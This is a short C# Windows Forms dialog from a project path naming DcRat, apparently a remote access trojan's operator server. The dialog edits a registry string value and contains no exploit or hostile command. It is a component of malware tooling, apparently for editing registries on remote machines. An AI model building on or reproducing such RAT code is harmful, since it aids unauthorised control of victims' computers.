DcRat/Server/Forms/FormRegValueEditString.cs

38 lines
995 B
C#

using Server.Helper;
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
using static Server.Helper.RegistrySeeker;
namespace Server.Forms
{
public partial class FormRegValueEditString : Form
{
private readonly RegValueData _value;
public FormRegValueEditString(RegValueData value)
{
_value = value;
InitializeComponent();
this.valueNameTxtBox.Text = RegValueHelper.GetName(value.Name);
this.valueDataTxtBox.Text = Helper.ByteConverter.ToString(value.Data);
}
private void okButton_Click(object sender, EventArgs e)
{
_value.Data = Helper.ByteConverter.GetBytes(valueDataTxtBox.Text);
this.Tag = _value;
this.DialogResult = DialogResult.OK;
this.Close();
}
}
}